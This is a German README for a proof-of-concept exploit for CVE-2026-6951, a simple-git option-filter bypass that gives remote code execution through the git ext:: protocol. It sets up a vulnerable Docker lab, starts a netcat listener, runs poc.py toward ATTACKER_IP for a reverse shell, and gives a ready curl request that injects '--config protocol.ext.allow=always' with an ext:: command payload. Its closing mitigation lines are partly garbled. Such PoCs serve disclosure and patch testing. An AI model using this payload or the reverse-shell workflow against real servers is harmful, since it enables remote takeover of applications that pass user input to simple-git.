
Proof-of-Concept-Exploit für CVE-2026-6951, eine simple-git --config-Filterumgehung, die RCE über das Git-ext-Protokoll ermöglicht, mit einem Docker-Lab und einer Reverse-Shell-Payload.
★ CVE-2026-6951 simple-git --config Option Filter Bypass RCE PoC ★
https://github.com/user-attachments/assets/4c992530-c5bb-4ff4-be5d-af0857eebb67
CVE-2026-6951 ist eine Remote-Code-Execution-Schwachstelle in
simple-git, die durch einen unvollständigen Fix für CVE-2022-25912 verursacht wird. Obwohl die Option-cblockiert wurde, war die äquivalente Option--confignicht ordnungsgemäß eingeschränkt. Ein Angreifer, der Git-Argumente kontrollieren kann, kann dasext-Protokoll aktivieren und beliebige Befehle über eineext::-Repository-URL ausführen.
| Kategorie | Version |
|---|---|
| Anfällig | simple-git-Versionen vor 3.36.0 |
| Gepatcht | simple-git 3.36.0 oder später |
Diese Umgebung verwendet simple-git 3.35.2 und @simple-git/argv-parser 1.0.3.
Erstellen und starten Sie die anfällige Umgebung.
docker build -t cve-2026-6951 .
docker run --rm -d --name cve-2026-6951 -p 9107:9107 cve-2026-6951
Greifen Sie auf den Dienst zu unter:
http://127.0.0.1:9107
Überprüfen Sie den Dienststatus.
curl -s http://127.0.0.1:9107/api/health
Das eingebettete Beispiel-Repository ist verfügbar unter:
file:///srv/git/sample.git
Starten Sie einen Listener auf dem Angreifer-System.
nc -lvnp 4444
Führen Sie das Exploit-Skript aus.
python3 poc.py http://127.0.0.1:9107 --lhost ATTACKER_IP --lport 4444
Die folgende Anfrage führt den Befehl id aus, indem sie die uneingeschränkte Option --config und das Git-ext-Protokoll missbraucht.
curl -s -X POST http://127.0.0.1:9107/api/import \
-H 'Content-Type: application/json' \
--data-raw '{
"repository":"ext::sh -c id% >&2",
"name":"id-check",
"options":["--config","protocol.ext.allow=always"],
"environment":{}
}'
simple-git auf Version 3.36.0 oder später.simple-git.ext::-URLs ab.